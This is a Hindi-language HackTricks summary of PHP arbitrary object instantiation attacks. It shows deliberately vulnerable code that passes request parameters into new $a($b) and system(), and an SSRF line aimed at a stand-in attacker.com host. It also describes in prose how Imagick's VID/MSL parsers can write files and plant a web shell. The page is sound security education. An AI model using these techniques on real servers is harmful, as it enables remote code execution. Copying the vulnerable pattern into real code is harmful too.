PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Support HackTricks

यह मूल रूप से https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/ का सारांश है।

परिचय

नई मनमानी वस्तुओं का निर्माण, जैसे new $_GET["a"]($_GET["a"]), दूरस्थ कोड निष्पादन (RCE) का कारण बन सकता है, जैसा कि एक लेख में विस्तृत किया गया है। यह दस्तावेज़ RCE प्राप्त करने के लिए विभिन्न रणनीतियों को उजागर करता है।

कस्टम कक्षाओं या ऑटोलोडिंग के माध्यम से RCE

new $a($b) का सिंटैक्स एक वस्तु को प्रारंभ करने के लिए उपयोग किया जाता है जहाँ $a कक्षा का नाम दर्शाता है और $b कंस्ट्रक्टर को पास किया गया पहला तर्क है। ये चर उपयोगकर्ता इनपुट जैसे GET/POST से प्राप्त किए जा सकते हैं, जहाँ वे स्ट्रिंग या एरे हो सकते हैं, या JSON से, जहाँ वे अन्य प्रकार के रूप में प्रस्तुत हो सकते हैं।

नीचे दिए गए कोड स्निपेट पर विचार करें:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

इस उदाहरण में, $a को App या App2 पर सेट करना और $b को एक सिस्टम कमांड (जैसे, uname -a) पर सेट करना उस कमांड के निष्पादन का परिणाम देता है।

ऑटोलोडिंग फ़ंक्शन का लाभ उठाया जा सकता है यदि ऐसी कोई कक्षाएँ सीधे सुलभ नहीं हैं। ये फ़ंक्शन आवश्यकतानुसार फ़ाइलों से कक्षाओं को स्वचालित रूप से लोड करते हैं और इन्हें spl_autoload_register या __autoload का उपयोग करके परिभाषित किया जाता है:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

PHP संस्करणों के साथ ऑटोलोडिंग का व्यवहार भिन्न होता है, जो विभिन्न RCE संभावनाएँ प्रदान करता है।

अंतर्निहित कक्षाओं के माध्यम से RCE

कस्टम कक्षाओं या ऑटोलोडर्स की कमी में, अंतर्निहित PHP कक्षाएँ RCE के लिए पर्याप्त हो सकती हैं। इन कक्षाओं की संख्या PHP संस्करण और एक्सटेंशन के आधार पर 100 से 200 के बीच होती है। इन्हें get_declared_classes() का उपयोग करके सूचीबद्ध किया जा सकता है।

रिफ्लेक्शन API के माध्यम से रुचि के कंस्ट्रक्टर्स की पहचान की जा सकती है, जैसा कि निम्नलिखित उदाहरण और लिंक https://3v4l.org/2JEGF में दिखाया गया है।

विशिष्ट विधियों के माध्यम से RCE में शामिल हैं:

SSRF + Phar Deserialization

SplFileObject कक्षा अपने कंस्ट्रक्टर के माध्यम से SSRF को सक्षम बनाती है, जो किसी भी URL से कनेक्शन की अनुमति देती है:

new SplFileObject('http://attacker.com/');

SSRF पुराने PHP संस्करणों में 8.0 से पहले deserialization हमलों का कारण बन सकता है, जो Phar प्रोटोकॉल का उपयोग करता है।

PDOs का शोषण करना

PDO क्लास कंस्ट्रक्टर DSN स्ट्रिंग्स के माध्यम से डेटाबेस से कनेक्शन की अनुमति देता है, जो फ़ाइल निर्माण या अन्य इंटरैक्शन को सक्षम कर सकता है:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

PHP के 5.3.22 और 5.4.12 तक के संस्करण SoapClient और SimpleXMLElement कंस्ट्रक्टर्स के माध्यम से XXE हमलों के प्रति संवेदनशील थे, जो libxml2 के संस्करण पर निर्भर करते हैं।

RCE via Imagick Extension

एक प्रोजेक्ट की निर्भरताओं के विश्लेषण में, यह पाया गया कि Imagick का उपयोग कमांड निष्पादन के लिए नए ऑब्जेक्ट्स को इंस्टेंटिएट करके किया जा सकता है। यह कमजोरियों का शोषण करने का एक अवसर प्रस्तुत करता है।

VID parser

फाइल सिस्टम में किसी निर्दिष्ट पथ पर सामग्री लिखने की VID parser क्षमता की पहचान की गई। इससे एक वेब-एक्सेसिबल डायरेक्टरी में PHP शेल रखने की संभावना बनती है, जिससे Remote Code Execution (RCE) प्राप्त होता है।

VID Parser + File Upload

यह noted किया गया है कि PHP अस्थायी रूप से अपलोड की गई फ़ाइलों को /tmp/phpXXXXXX में स्टोर करता है। Imagick में VID parser, msl प्रोटोकॉल का उपयोग करते हुए, फ़ाइल पथ में वाइल्डकार्ड को संभाल सकता है, जिससे अस्थायी फ़ाइल को चुने हुए स्थान पर स्थानांतरित करना संभव होता है। यह विधि फाइल सिस्टम में मनमाने फ़ाइल लेखन को प्राप्त करने के लिए एक अतिरिक्त दृष्टिकोण प्रदान करती है।

PHP Crash + Brute Force

मूल लेख में वर्णित एक विधि में ऐसी फ़ाइलें अपलोड करना शामिल है जो हटाने से पहले सर्वर क्रैश को ट्रिगर करती हैं। अस्थायी फ़ाइल के नाम को ब्रूट-फोर्स करके, Imagick के लिए मनमाना PHP कोड निष्पादित करना संभव हो जाता है। हालाँकि, यह तकनीक केवल ImageMagick के एक पुराने संस्करण में प्रभावी पाई गई।

References

Support HackTricks

Last updated